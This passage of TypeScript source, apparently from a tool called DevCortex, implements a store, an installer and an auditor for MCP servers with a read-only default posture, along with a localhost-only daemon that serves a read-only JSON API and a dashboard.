!Array.isArray(value);\n}\n\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n","// ============================================================================\n// Safe MCP Manager (§7.19) — persisted McpServerSpec store.\n//\n// Each managed server is recorded as one `<id>.json` McpServerSpec under\n// `.cortex/mcp/` (workspacePaths().mcpDir). Reusing the shared JsonLedger base\n// buys the same durability guarantees as every other `.cortex/` artifact: writes\n// are atomic and schema-validated, every read is re-validated against\n// McpServerSpecSchema (a corrupt/hand-edited spec surfaces as a LedgerError\n// instead of silently poisoning an audit), and unsafe ids are rejected before\n// they become file names.\n// ============================================================================\n\nimport path from 'node:path';\n\nimport { McpServerSpecSchema } from '../domain';\nimport type { McpServerSpec } from '../domain';\nimport { JsonLedger } from '../ledgers';\nimport { workspacePaths } from '../workspace';\n\n/** Absolute path of the `.cortex/mcp` directory for a repo root. */\nexport function mcpDir(root: string): string {\n return workspacePaths(root).mcpDir;\n}\n\n/** Absolute path of the recorded spec file for `id`. */\nexport function mcpSpecPath(root: string, id: string): string {\n return path.join(mcpDir(root), `${id}.json`);\n}\n\n/** Repo-relative (POSIX) path of the recorded spec file for `id`. */\nexport function mcpSpecRelPath(id: string): string {\n return `.cortex/mcp/${id}.json`;\n}\n\n/**\n * Project-scoped store of managed MCP server specs, keyed by `id`, one JSON\n * document per file. Self-initializes its backing directory on first write, so\n * it works on a repo that has not yet run `devcortex init`.\n */\nexport class McpSpecStore extends JsonLedger<McpServerSpec> {\n constructor(root: string) {\n super(root, mcpDir(root), McpServerSpecSchema, 'mcp server');\n }\n\n /**\n * Validate `spec` against the disk contract and persist it atomically,\n * overwriting any existing spec with the same id. Returns the schema-parsed\n * value actually written.\n */\n async save(spec: McpServerSpec): Promise<McpServerSpec> {\n return this.persist(spec);\n }\n}\n","// ============================================================================\n// Safe MCP Manager (§7.19) — list / install / audit.\n//\n// The three surface operations over the curated catalog + a repo's installed\n// MCP servers. All deterministic and tokenless.\n//\n// listMcp(root) — what is wired in `.mcp.json` vs what the\n// catalog would recommend next.\n// installMcpSafely(root, id) — validate a catalog entry, write it to\n// `.mcp.json` with a DEFAULT-READ-ONLY posture,\n// record the McpServerSpec under `.cortex/mcp/`,\n// and confirm-before-overwrite; refuse unknown\n// ids outright.\n// auditMcp(root) — cross-check every installed server against the\n// firewall policy and flag write/destructive/\n// secret-requiring/unsandboxed/ungoverned risks.\n//\n// Trust resolution: a server in `.mcp.json` is described by its RECORDED spec\n// (`.cortex/mcp/<id>.json`) when present, else by the catalog entry, else — for\n// a server the user wired up by hand that DevCortex has never governed — a\n// synthesized `unknown`-trust spec. That last case is exactly what the audit is\n// designed to surface.\n// ============================================================================\n\nimport { PolicyViolationError, McpServerSpecSchema, SchemaValidationError } from '../domain';\nimport type { McpServerSpec } from '../domain';\nimport { evaluateToolCall, loadPolicy } from '../mcp-firewall';\n\nimport { CATALOG_BY_ID, TRUST_RANK, mcpCatalog } from './catalog';\nimport { buildServerEntry, mcpJsonPath, readMcpJson, writeMcpJson } from './host-config';\nimport type { McpServerEntry } from './host-config';\nimport { McpSpecStore, mcpSpecPath, mcpSpecRelPath } from './store';\n\n// --- resolution -------------------------------------------------------------\n\n/** How an installed server's spec was resolved. */\nexport type InstalledSource = 'recorded' | 'catalog' | 'unknown';\n\n/** An installed server plus the provenance of the spec describing it. */\nexport interface InstalledServer {\n spec: McpServerSpec;\n /** whether a governed spec exists at `.cortex/mcp/<id>.json` */\n recorded: boolean;\n source: InstalledSource;\n}\n\n/**\n * Resolve every server declared in `.mcp.json` to a spec, preferring the\n * recorded governed spec, then the catalog, then a synthesized unknown spec.\n * Ordered by id for stable output.\n */\nexport async function resolveInstalled(root: string): Promise<InstalledServer[]> {\n const mcpJson = await readMcpJson(root);\n const store = new McpSpecStore(root);\n\n const ids = Object.keys(mcpJson.mcpServers).sort((a, b) => a.localeCompare(b));\n const installed: InstalledServer[] = [];\n for (const id of ids) {\n const entry = mcpJson.mcpServers[id];\n const recorded = await store.get(id);\n if (recorded !== undefined) {\n installed.push({ spec: recorded, recorded: true, source: 'recorded' });\n continue;\n }\n const catalogEntry = CATALOG_BY_ID.get(id);\n if (catalogEntry !== undefined) {\n installed.push({ spec: catalogEntry, recorded: false, source: 'catalog' });\n continue;\n }\n installed.push({\n spec: synthesizeUnknownSpec(id, entry),\n recorded: false,\n source: 'unknown',\n });\n }\n return installed;\n}\n\n/**\n * Describe a server present in `.mcp.json` but neither recorded nor cataloged:\n * an ungoverned, unknown-trust server whose surface DevCortex cannot vouch for.\n */\nfunction synthesizeUnknownSpec(id: string, entry: McpServerEntry | undefined): McpServerSpec {\n const source = describeEntrySource(entry);\n const secretsRequired = entry?.env !== undefined ? Object.keys(entry.env) : [];\n return {\n id,\n name: id,\n source,\n trust: 'unknown',\n permissions: [],\n tools: [],\n secretsRequired,\n sandbox: false,\n note: 'Present in .mcp.json but not recorded or cataloged by DevCortex — treat as unknown-trust until vetted and governed.',\n };\n}\n\n/** Best-effort provenance string for an unmanaged host entry. */\nfunction describeEntrySource(entry: McpServerEntry | undefined): string {\n if (entry === undefined) {\n return 'unknown';\n }\n if (typeof entry.url === 'string' && entry.url.length > 0) {\n return entry.url;\n }\n if (typeof entry.command === 'string' && entry.command.length > 0) {\n const args = Array.isArray(entry.args) ? entry.args.join(' ') : '';\n return `${entry.command} ${args}`.trim();\n }\n return 'unknown';\n}\n\n// --- list -------------------------------------------------------------------\n\n/**\n * List the MCP servers wired into a repo alongside the catalog servers not yet\n * installed (recommended next), ordered trusted-first then by id.\n */\nexport async function listMcp(\n root: string,\n): Promise<{ installed: McpServerSpec[]; recommended: McpServerSpec[] }> {\n const resolved = await resolveInstalled(root);\n const installed = resolved.map((item) => item.spec);\n const installedIds = new Set(installed.map((spec) => spec.id));\n\n const recommended = mcpCatalog\n .filter((spec) => !installedIds.has(spec.id))\n .slice()\n .sort(byTrustThenId);\n\n return { installed, recommended };\n}\n\nfunction byTrustThenId(a: McpServerSpec, b: McpServerSpec): number {\n const trustDelta = TRUST_RANK[a.trust] - TRUST_RANK[b.trust];\n if (trustDelta !== 0) {\n return trustDelta;\n }\n return a.id.localeCompare(b.id);\n}\n\n// --- install ----------------------------------------------------------------\n\n/** The concrete change `installMcpSafely` would make (or made). */\nexport interface InstallPlan {\n id: string;\n /** the `.mcp.json` entry written (or that would be written) */\n entry: McpServerEntry;\n /** absolute path of the recorded spec */\n specPath: string;\n /** absolute path of the host config */\n mcpJsonPath: string;\n posture: 'read-only';\n /** true when an entry for this id already exists in `.mcp.json` */\n wouldOverwrite: boolean;\n}\n\n/** Outcome of an install attempt. */\nexport type InstallStatus = 'installed' | 'updated' | 'exists';\n\n/**\n * Safely install a catalog server by id.\n *\n * Refuses unknown ids ({@link PolicyViolationError}). Validates the catalog\n * entry against {@link McpServerSpecSchema}. When the id already exists in\n * `.mcp.json` and `force` is not set, returns `{ status: 'exists', plan }`\n * WITHOUT writing anything — the caller must confirm before an overwrite.\n * Otherwise writes the read-only-posture entry to `.mcp.json` and records the\n * McpServerSpec under `.cortex/mcp/`, returning `installed` (new) or `updated`\n * (forced overwrite).\n */\nexport async function installMcpSafely(\n root: string,\n id: string,\n opts: { force?: boolean } = {},\n): Promise<{ status: InstallStatus; plan: InstallPlan }> {\n const catalogEntry = CATALOG_BY_ID.get(id);\n if (catalogEntry === undefined) {\n throw new PolicyViolationError(\n `Refusing to install unknown MCP server \"${id}\": it is not in the vetted catalog. Recommend one with recommendMcp() or list the catalog first.`,\n );\n }\n\n // Defense in depth: the catalog is code, but a spec must still satisfy the\n // persisted-artifact contract before it can be written or recorded.\n const parsed = McpServerSpecSchema.safeParse(catalogEntry);\n if (!parsed.success) {\n throw new SchemaValidationError(\n `Catalog entry \"${id}\" failed McpServerSpecSchema and cannot be installed.`,\n { details: parsed.error.issues, cause: parsed.error },\n );\n }\n const spec = parsed.data;\n\n const entry = buildServerEntry(spec, mcpSpecRelPath(id));\n const mcpJson = await readMcpJson(root);\n const wouldOverwrite = Object.prototype.hasOwnProperty.call(mcpJson.mcpServers, id);\n\n const plan: InstallPlan = {\n id,\n entry,\n specPath: mcpSpecPath(root, id),\n mcpJsonPath: mcpJsonPath(root),\n posture: 'read-only',\n wouldOverwrite,\n };\n\n if (wouldOverwrite && opts.force !== true) {\n // Confirm-before-overwrite: nothing is written.\n return { status: 'exists', plan };\n }\n\n mcpJson.mcpServers[id] = entry;\n await writeMcpJson(root, mcpJson);\n\n const store = new McpSpecStore(root);\n await store.save(spec);\n\n return { status: wouldOverwrite ? 'updated' : 'installed', plan };\n}\n\n// --- audit ------------------------------------------------------------------\n\n/**\n * Audit every installed MCP server against the persisted firewall policy (safe\n * defaults when none is configured) and its own disclosed surface. Returns a\n * flat list of human-readable findings; an empty list means nothing risky was\n * detected.\n *\n * Findings are tagged for grep-ability:\n * [unknown-trust] [community] [ungoverned] [secrets] [unsandboxed]\n * [destructive] [write] [policy-gap]\n */\nexport async function auditMcp(root: string): Promise<{ findings: string[] }> {\n const installed = await resolveInstalled(root);\n const policy = await loadPolicy(root);\n const findings: string[] = [];\n\n for (const item of installed) {\n const { spec } = item;\n\n if (spec.trust === 'unknown') {\n findings.push(\n `[unknown-trust] \"${spec.id}\" is not in the vetted catalog and has no recorded spec — vet its source (${spec.source}) before use.`,\n );\n } else if (spec.trust === 'community') {\n findings.push(\n `[community] \"${spec.id}\" is a community (unvetted-publisher) server — keep it read-only and require approval on every write.`,\n );\n }\n\n if (item.source !== 'unknown' && !item.recorded) {\n findings.push(\n `[ungoverned] \"${spec.id}\" is wired into .mcp.json but has no recorded spec under .cortex/mcp/ — run installMcpSafely to bring it under governance.`,\n );\n }\n\n if (spec.secretsRequired.length > 0) {\n findings.push(\n `[secrets] \"${spec.id}\" requires secrets (${spec.secretsRequired.join(', ')}) — inject via env, never commit, and scope to least privilege.`,\n );\n }\n\n if (!spec.sandbox && spec.tools.some((tool) => tool.destructive)) {\n findings.push(\n `[unsandboxed] \"${spec.id}\" exposes destructive tools and is not sandboxed — run DevCortex sandboxed or gate every destructive call.`,\n );\n }\n\n for (const tool of spec.tools) {\n const isWrite = tool.access === 'write';\n if (!isWrite && !tool.destructive) {\n continue;\n }\n const identifier = `${spec.id}.${tool.name}`;\n const verdict = evaluateToolCall(policy, { server: spec.id, tool: tool.name });\n const kind = tool.destructive ? 'destructive' : 'write';\n\n if (verdict.decision === 'allow') {\n findings.push(\n `[policy-gap] ${kind} tool \"${identifier}\" would be ALLOWED without approval by the current firewall policy — add it to requireApproval or deny.`,\n );\n } else if (tool.destructive) {\n findings.push(\n `[destructive] \"${identifier}\" can irreversibly delete/overwrite/deploy — firewall verdict: ${verdict.decision}.`,\n );\n } else {\n findings.push(\n `[write] \"${identifier}\" mutates state — firewall verdict: ${verdict.decision}.`,\n );\n }\n }\n }\n\n return { findings };\n}\n","/**\n * DevCortex local daemon (spec §4.1) — assembles the repo watcher, the JSON API,\n * and static dashboard serving into a single 127.0.0.1 HTTP server.\n *\n * `startDaemon(root)` begins watching the repo (keeping `.cortex/graph.json`\n * fresh) and serves:\n * - `GET /api/*` → the read-only cognition API (see ./api)\n * - everything else → the built local dashboard SPA (see ./static-server),\n * falling back to a placeholder page when the dashboard is not built.\n *\n * Binds 127.0.0.1 only; CORS is restricted to localhost origins so a dashboard\n * dev server (e.g. :5173) can call the API without exposing it off-host.\n */\nimport { createServer } from 'node:http';\nimport type { IncomingMessage, Server, ServerResponse } from 'node:http';\nimport type { AddressInfo } from 'node:net';\nimport path from 'node:path';\n\nimport { loadConfig } from '@devcortex/core';\nimport type { OperatingMode } from '@devcortex/core';\n\nimport { handleApiRequest, isApiPath } from './api';\nimport type { DaemonContext } from './api';\nimport { resolveDashboardDist, serveStatic } from './static-server';\nimport { daemonVersion } from './version';\nimport { startWatcher } from './watcher';\nimport type { RepoWatcher } from './watcher';\n\n/** Default port the daemon binds on 127.0.0.1. */\nexport const DEFAULT_DAEMON_PORT = 7420;\n\nconst HOST = '127.0.0.1';\nconst LOCAL_ORIGIN = /^https?:\\/\\/(localhost|127\\.0\\.0\\.1)(:\\d+)?$/;\n\nexport interface StartDaemonOptions {\n /** TCP port to bind (default {@link DEFAULT_DAEMON_PORT}; 0 = ephemeral). */\n port?: number;\n /** debounce window for the repo watcher, in ms */\n debounceMs?: number;\n /** sink for non-fatal watcher/scan/request errors (default: console.error) */\n onError?: (err: unknown) => void;\n}\n\n/** A running daemon handle. */\nexport interface DaemonHandle {\n /** the bound base URL, e.g. http://127.0.0.1:7420 */\n url: string;\n /** the actually-bound port (resolved even when port 0 was requested) */\n port: number;\n /** stop the watcher and HTTP server; resolves once fully closed */\n close(): Promise<void>;\n}\n\nfunction applyCors(req: IncomingMessage, res: ServerResponse): void {\n const origin = req.headers.origin;\n if (typeof origin === 'string' && LOCAL_ORIGIN.test(origin)) {\n res.setHeader('Access-Control-Allow-Origin', origin);\n res.setHeader('Vary', 'Origin');\n res.setHeader('Access-Control-Allow-Methods', 'GET, HEAD, OPTIONS');\n }\n}\n\nasync function handle(\n req: IncomingMessage,\n res: ServerResponse,\n ctx: DaemonContext,\n distDir: string | null,\n): Promise<void> {\n applyCors(req, res);\n\n const method = req.method ?? 'GET';\n const pathname = new URL(req.url ?? '/', `http://${HOST}`).pathname;\n\n if (method === 'OPTIONS') {\n res.writeHead(204);\n res.end();\n return;\n }\n if (method !== 'GET' && method !== 'HEAD') {\n res.writeHead(405, {\n 'Content-Type': 'application/json; charset=utf-8',\n Allow: 'GET, HEAD, OPTIONS',\n });\n res.end(JSON.stringify({ error: { code: 'INTERNAL', message: `Method not allowed: ${method}` } }));\n return;\n }\n\n if (isApiPath(pathname)) {\n const { status, body } = await handleApiRequest(pathname, ctx);\n res.writeHead(status, { 'Content-Type': 'application/json; charset=utf-8' });\n res.end(method === 'HEAD' ? undefined : JSON.stringify(body));\n return;\n }\n\n const staticRes = await serveStatic(distDir, pathname);\n res.writeHead(staticRes.status, { 'Content-Type': staticRes.contentType });\n res.end(method === 'HEAD' ? undefined : staticRes.body);\n}\n\n/**\n * Start the DevCortex daemon against `root`. Resolves once the server is\n * listening; the returned handle exposes the bound URL/port and a `close()`.\n */\nexport async function startDaemon(\n root: string,\n options: StartDaemonOptions = {},\n): Promise<DaemonHandle> {\n const resolvedRoot = path.resolve(root);\n const onError = options.onError ?? ((err: unknown) => console.error('[devcortex-daemon]', err));\n\n // Capture the operating mode up front; /api/health falls back to it if config\n // becomes unreadable mid-session. An uninitialized workspace is fine here — the\n // API surfaces a 400 per-route, and /api/health stays live.\n let startupMode: OperatingMode = 'passive';\n try {\n startupMode = (await loadConfig(resolvedRoot)).mode;\n } catch {\n // keep the passive default\n }\n\n const ctx: DaemonContext = { root: resolvedRoot, startupMode, version: daemonVersion() };\n const distDir = resolveDashboardDist();\n const watcher: RepoWatcher = startWatcher(resolvedRoot, {\n debounceMs: options.debounceMs,\n onError,\n });\n\n const server: Server = createServer((req, res) => {\n void handle(req, res, ctx, distDir).catch((err) => {\n onError(err);\n if (!res.headersSent) {\n res.writeHead(500, { 'Content-Type': 'application/json; charset=utf-8' });\n }\n if (!res.writableEnded) {\n res.end(JSON.stringify({ error: { code: 'INTERNAL', message: 'daemon request failed' } }));\n }\n });\n });\n\n await new Promise<void>((resolve, reject) => {\n const onListenError = (err: unknown): void => reject(err);\n server.once('error', onListenError);\n server.listen(options.port ?? DEFAULT_DAEMON_PORT, HOST, () => {\n server.off('error', onListenError);\n resolve();\n });\n });\n\n const address = server.address();\n if (address === null || typeof address === 'string') {\n await watcher.close();\n await new Promise<void>((resolve) => server.close(() => resolve()));\n throw new Error('daemon failed to bind a TCP port');\n }\n const port = (address as AddressInfo).port;\n const url = `http://${HOST}:${port}`;\n\n return {\n url,\n port,\n async close(): Promise<void> {\n await watcher.close();\n server.closeAllConnections();\n await new Promise<void>((resolve) => server.close(() => resolve()));\n },\n };\n}\n","/**\n * Small, fail-safe filesystem helpers shared by the API and static surfaces.\n * Absence (`ENOENT`) is a normal, expected state (a repo may not have generated\n * a brief or a dashboard build yet); any other I/O error is surfaced as a\n * {@link DaemonError} so it becomes a clean 500 rather than a silent empty body.\n */\nimport { readFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { DaemonError } from './errors';\n\nfunction isErrno(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n\n/** Read a UTF-8 text file, returning `''` when it does not exist. */\nexport async function readTextOrEmpty(absPath: string): Promise<string> {\n try {\n return await readFile(absPath, 'utf8');\n } catch (err) {\n if (isErrno(err) && err.code === 'ENOENT') return '';\n throw new DaemonError(`Unable to read ${absPath}.`, { cause: err });\n }\n}\n\n/**\n * Read a file as a Buffer, returning `null` when it is absent OR is a directory\n * (`ENOENT` / `EISDIR`). Any other error propagates as a {@link DaemonError}.\n * Used by the static server to try a concrete asset before falling back.\n */\nexport async function tryReadFileBuffer(absPath: string): Promise<Buffer | null> {\n try {\n return await readFile(absPath);\n } catch (err) {\n if (isErrno(err) && (err.code === 'ENOENT' || err.code === 'EISDIR')) return null;\n throw new DaemonError(`Unable to read ${absPath}.`, { cause: err });\n }\n}\n\nconst CONTENT_TYPES: Record<string, string> = {\n '.html': 'text/html; charset=utf-8',\n '.js': 'text/javascript; charset=utf-8',\n '.mjs': 'text/javascript; charset=utf-8',\n '.css': 'text/css; charset=utf-8',\n '.json': 'application/json; charset=utf-8',\n '.map': 'application/json; charset=utf-8',\n '.svg': 'image/svg+xml',\n '.png': 'image/png',\n '.jpg': 'image/jpeg',\n '.jpeg': 'image/jpeg',\n '.gif': 'image/gif',\n '.webp': 'image/webp',\n '.ico': 'image/x-icon',\n '.woff': 'font/woff',\n '.woff2': 'font/woff2',\n '.ttf': 'font/ttf',\n '.txt': 'text/plain; charset=utf-8',\n '.wasm': 'application/wasm',\n};\n\n/** Best-effort MIME type for a filename; unknown extensions fall back to octet-stream. */\nexport function contentTypeFor(filename: string): string {\n return CONTENT_TYPES[path.extname(filename).toLowerCase()] ?? 'application/octet-stream';\n}\n","/**\n * Daemon-specific error type. Extends the shared {@link DevCortexError}\n * hierarchy so every surface (CLI, hooks, HTTP clients) can switch on the stable\n * `code` field and fail-safe uniformly. Daemon runtime failures that do not map\n * to a more specific engine code (port bind failures, HTTP plumbing, dashboard\n * resolution) are reported as `INTERNAL`.\n */\nimport { DevCortexError } from '@devcortex/core';\nimport type { DevCortexErrorOptions } from '@devcortex/core';\n\nexport class DaemonError extends DevCortexError {\n constructor(message: string, options?: DevCortexErrorOptions) {\n super('INTERNAL', message, options);\n this.name = 'DaemonError';\n }\n}\n","/**\n * Ship-report reads for the daemon API.\n *\n * `/api/ship-reports` returns the most recent persisted markdown reports, and\n * `/api/ready-score` derives a compact readiness summary from the newest one.\n *\n * Design note — why we DERIVE rather than RE-RUN: `generateShipReport` executes\n * the project's real typecheck/lint/build/test commands and writes a new report\n * + evidence on every call. That is correct for an explicit `devcortex ship`,\n * but far too heavy and side-effecting for a GET a dashboard may poll. The\n * daemon therefore reflects the LAST report the user actually produced — a fast,\n * read-only operation. The parser is anchored on the stable machine-oriented\n * header the core renderer emits (`- **Status:** …` plus the `## Passed` /\n * `## Blocked` / `## Warnings` sections) and degrades to `UNKNOWN`/zero counts\n * rather than throwing if that layout ever drifts.\n */\nimport { readFile, readdir } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { workspacePaths } from '@devcortex/core';\n\nimport { DaemonError } from './errors';\n\n/** One recent ship report: its filename and full markdown body. */\nexport interface ShipReportFile {\n name: string;\n markdown: string;\n}\n\n/** Compact readiness summary served at `/api/ready-score`. */\nexport interface ReadyScore {\n score: number;\n status: string;\n passed: number;\n blocked: number;\n warnings: number;\n}\n\n/** Status reported when the repo has never generated a ship report. */\nexport const NO_REPORT_STATUS = 'NO_REPORT';\n\n/** Default number of recent reports `/api/ship-reports` returns. */\nexport const DEFAULT_SHIP_REPORT_LIMIT = 10;\n\nfunction isErrno(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n\n/**\n * List the most recent ship reports, newest first. Filenames are ISO-timestamp\n * prefixed, so a lexicographic sort is chronological. Tolerates a not-yet-created\n * reports directory (returns `[]`).\n */\nexport async function listShipReports(\n root: string,\n limit = DEFAULT_SHIP_REPORT_LIMIT,\n): Promise<ShipReportFile[]> {\n const dir = workspacePaths(root).shipReportsDir;\n\n let entries: string[];\n try {\n entries = await readdir(dir);\n } catch (err) {\n if (isErrno(err) && err.code === 'ENOENT') return [];\n throw new DaemonError(`Unable to list ship reports in ${dir}.`, { cause: err });\n }\n\n const newestFirst = entries\n .filter((name) => name.endsWith('.md'))\n .sort()\n .reverse()\n .slice(0, Math.max(0, limit));\n\n const reports: ShipReportFile[] = [];\n for (const name of newestFirst) {\n try {\n const markdown = await readFile(path.join(dir, name), 'utf8');\n reports.push({ name, markdown });\n } catch (err) {\n // A report that vanished between readdir and readFile is not fatal; skip it.\n if (isErrno(err) && err.code === 'ENOENT') continue;\n throw new DaemonError(`Unable to read ship report ${name}.`, { cause: err });\n }\n }\n return reports;\n}\n\ninterface ParsedReport {\n status: string;\n passed: number;\n blocked: number;\n warnings: number;\n}\n\nconst STATUS_LINE = /^- \\*\\*Status:\\*\\* (.+)$/;\n\n/**\n * Parse the compact counts + status from a ship-report markdown body. Robust to\n * missing sections: an absent status line yields `UNKNOWN`; absent sections yield\n * zero counts. Never throws.\n */\nexport function parseShipReport(markdown: string): ParsedReport {\n let status = 'UNKNOWN';\n let passed = 0;\n let blocked = 0;\n let warnings = 0;\n\n type Section = 'passed' | 'blocked' | 'warnings' | 'other';\n let section: Section = 'other';\n\n for (const line of markdown.split(/\\r?\\n/)) {\n const statusMatch = STATUS_LINE.exec(line);\n if (statusMatch && statusMatch[1] !== undefined) {\n status = statusMatch[1].trim();\n continue;\n }\n\n if (line.startsWith('## ')) {\n const heading = line.slice(3).trim();\n section =\n heading === 'Passed'\n ? 'passed'\n : heading.startsWith('Blocked')\n ? 'blocked'\n : heading === 'Warnings'\n ? 'warnings'\n : 'other';\n continue;\n }\n\n if (section === 'passed' || section === 'blocked') {\n // Count only data rows of the checks table — skip its header + separator.\n if (line.startsWith('| ') && !line.startsWith('| Check ') && !line.startsWith('| --- ')) {\n if (section === 'passed') passed += 1;\n else blocked += 1;\n }\n } else if (section === 'warnings') {\n if (line.startsWith('- ')) warnings += 1;\n }\n }\n\n return { status, passed, blocked, warnings };\n}\n\n/**\n * Compute the readiness score from the newest persisted ship report. Blocked\n * (required) failures weigh full; warnings weigh half. Returns a well-defined\n * `NO_REPORT` summary when the repo has never shipped.\n */\nexport async function readyScore(root: string): Promise<ReadyScore> {\n const [latest] = await listShipReports(root, 1);\n if (latest === undefined) {\n return { score: 0, status: NO_REPORT_STATUS, passed: 0, blocked: 0, warnings: 0 };\n }\n\n const { status, passed, blocked, warnings } = parseShipReport(latest.markdown);\n const total = passed + blocked + warnings;\n const numerator = passed + 0.5 * warnings;\n const score = total === 0 ? 0 : Math.round((100 * numerator) / total);\n\n return { score, status, passed, blocked, warnings };\n}\n","/**\n * The daemon JSON API — the exact contract both the daemon and any client\n * (local dashboard, editor extension) implement. Every route is a read over the\n * `.cortex/` workspace via `@devcortex/core`; nothing here mutates project state.\n *\n * Routes (all under `http://127.0.0.1:<port>`, all `application/json`):\n * GET /api/health -> { ok, root, mode, version }\n * GET /api/brief -> { markdown }\n * GET /api/architecture -> { markdown }\n * GET /api/graph -> ProjectGraph\n * GET /api/features -> FeatureRecord[]\n * GET /api/decisions -> DecisionRecord[]\n * GET /api/memory -> MemoryItem[]\n * GET /api/runs -> RunRecord[]\n * GET /api/ship-reports -> { name, markdown }[]\n * GET /api/ready-score -> { score, status, passed, blocked, warnings }\n */\nimport {\n DecisionLedger,\n FeatureLedger,\n MemoryLedger,\n isDevCortexError,\n listRuns,\n loadConfig,\n loadGraph,\n saveGraph,\n scanProject,\n workspacePaths,\n} from '@devcortex/core';\nimport type { OperatingMode, ProjectGraph } from '@devcortex/core';\n\nimport { readTextOrEmpty } from './fs-utils';\nimport { DEFAULT_SHIP_REPORT_LIMIT, listShipReports, readyScore } from './ship-reports';\n\n/** Immutable per-server context threaded into every request handler. */\nexport interface DaemonContext {\n /** absolute, resolved repo root the daemon operates on */\n root: string;\n /** operating mode captured at startup, used as a fallback if config re-read fails */\n startupMode: OperatingMode;\n /** this daemon package's version, surfaced by `/api/health` */\n version: string;\n}\n\n/** A resolved JSON response: HTTP status + a JSON-serializable body. */\nexport interface JsonResponse {\n status: number;\n body: unknown;\n}\n\n/** Return the cached graph, scanning + caching one on demand if none exists. */\nasync function ensureGraph(root: string): Promise<ProjectGraph> {\n const cached = await loadGraph(root);\n if (cached !== null) return cached;\n const fresh = await scanProject(root);\n await saveGraph(root, fresh);\n return fresh;\n}\n\ntype RouteHandler = (ctx: DaemonContext) => Promise<unknown>;\n\nconst ROUTES: Record<string, RouteHandler> = {\n '/api/health': async (ctx) => {\n // Health must stay live even if config becomes unreadable mid-session; fall\n // back to the mode captured at startup.\n let mode = ctx.startupMode;\n try {\n mode = (await loadConfig(ctx.root)).mode;\n } catch {\n // keep startup mode\n }\n return { ok: true, root: ctx.root, mode, version: ctx.version };\n },\n '/api/brief': async (ctx) => ({\n markdown: await readTextOrEmpty(workspacePaths(ctx.root).projectMd),\n }),\n '/api/architecture': async (ctx) => ({\n markdown: await readTextOrEmpty(workspacePaths(ctx.root).architectureMd),\n }),\n '/api/graph': async (ctx) => ensureGraph(ctx.root),\n '/api/features': async (ctx) => new FeatureLedger(ctx.root).all(),\n '/api/decisions': async (ctx) => new DecisionLedger(ctx.root).all(),\n '/api/memory': async (ctx) => new MemoryLedger(ctx.root).all(),\n '/api/runs': async (ctx) => listRuns(ctx.root),\n '/api/ship-reports': async (ctx) => listShipReports(ctx.root, DEFAULT_SHIP_REPORT_LIMIT),\n '/api/ready-score': async (ctx) => readyScore(ctx.root),\n};\n\n/** True when a pathname belongs to the JSON API surface. */\nexport function isApiPath(pathname: string): boolean {\n return pathname === '/api' || pathname.startsWith('/api/');\n}\n\n/**\n * Resolve one API request to a {@link JsonResponse}. Unknown `/api/*` paths\n * return a structured 404; engine failures surface their stable `code` in the\n * error body so clients can react programmatically.\n */\nexport async function handleApiRequest(pathname: string, ctx: DaemonContext): Promise<JsonResponse> {\n const handler = ROUTES[pathname];\n if (handler === undefined) {\n return {\n status: 404,\n body: { error: { code: 'INTERNAL', message: `Unknown API route: ${pathname}` } },\n };\n }\n\n try {\n const body = await handler(ctx);\n return { status: 200, body };\n } catch (err) {\n const code = isDevCortexError(err) ? err.code : 'INTERNAL';\n const message = err instanceof Error ? err.message : String(err);\n // A missing/uninitialized workspace is a client-actionable 400; everything\n // else is a genuine server-side failure (500).\n const status = code === 'WORKSPACE_NOT_INITIALIZED' || code === 'CONFIG_NOT_FOUND' ? 400 : 500;\n return { status, body: { error: { code, message } } };\n }\n}\n","/**\n * Static serving for the built local dashboard.\n *\n * The dashboard ships as a separate package (`@devcortex/local-dashboard`) whose\n * `dist/` is a compiled SPA. We resolve that dist directory at startup and serve\n * it at `/` with history-API (SPA) fallback to `index.html`. Everything here is\n * best-effort: if the dashboard is not installed or not yet built, the daemon\n * still runs and serves a small placeholder page so `/` never 500s.\n */\nimport { createRequire } from 'node:module';\nimport path from 'node:path';\n\nimport { tryReadFileBuffer, contentTypeFor } from './fs-utils';\n\nconst require = createRequire(import.meta.url);\n\n/** A fully-resolved static response the HTTP layer writes verbatim. */\nexport interface StaticResponse {\n status: number;\n contentType: string;\n body: Buffer | string;\n}\n\n/**\n * Resolve the local dashboard's built `dist/` directory, or `null` when the\n * dashboard package is not installed. Resolution order:\n * 1. `DEVCORTEX_DASHBOARD_DIST` env override (absolute or cwd-relative).\n * 2. The package's own `package.json` (its sibling `dist/`).\n * 3. The package's main entry (walk up to its package root, then `dist/`).\n *\n * Returning a path whose `dist/` is not yet built is fine — {@link serveStatic}\n * falls back to the placeholder when `index.html` is absent.\n */\nexport function resolveDashboardDist(): string | null {\n const override = process.env.DEVCORTEX_DASHBOARD_DIST;\n if (override !== undefined && override.trim().length > 0) {\n return path.resolve(override.trim());\n }\n\n try {\n const pkgJson = require.resolve('@devcortex/local-dashboard/package.json');\n return path.join(path.dirname(pkgJson), 'dist');\n } catch {\n // package.json may be excluded from the package's export map; try the main.\n }\n\n try {\n const entry = require.resolve('@devcortex/local-dashboard');\n const root = findPackageRoot(entry);\n if (root !== null) return path.join(root, 'dist');\n } catch {\n // not installed\n }\n\n return null;\n}\n\n/** Walk up from a resolved module file to the directory containing its package.json. */\nfunction findPackageRoot(fromFile: string): string | null {\n let dir = path.dirname(fromFile);\n // Bound the walk to the filesystem root.\n for (let depth = 0; depth < 64; depth += 1) {\n if (path.basename(dir) === 'node_modules') return null;\n try {\n const pkg = path.join(dir, 'package.json');\n // Synchronous existence via require.resolve keeps this pure to the resolver.\n require.resolve(pkg);\n return dir;\n } catch {\n const parent = path.dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n }\n return null;\n}\n\n/**\n * Serve `pathname` from the dashboard `distDir` with SPA fallback. Returns a\n * placeholder when the dashboard is absent (`distDir === null`) or unbuilt\n * (`index.html` missing). Guards against path traversal outside `distDir`.\n */\nexport async function serveStatic(\n distDir: string | null,\n pathname: string,\n): Promise<StaticResponse> {\n if (distDir === null) return placeholder();\n\n let decoded: string;\n try {\n decoded = decodeURIComponent(pathname);\n } catch {\n return { status: 400, contentType: 'text/plain; charset=utf-8', body: 'Bad request path.' };\n 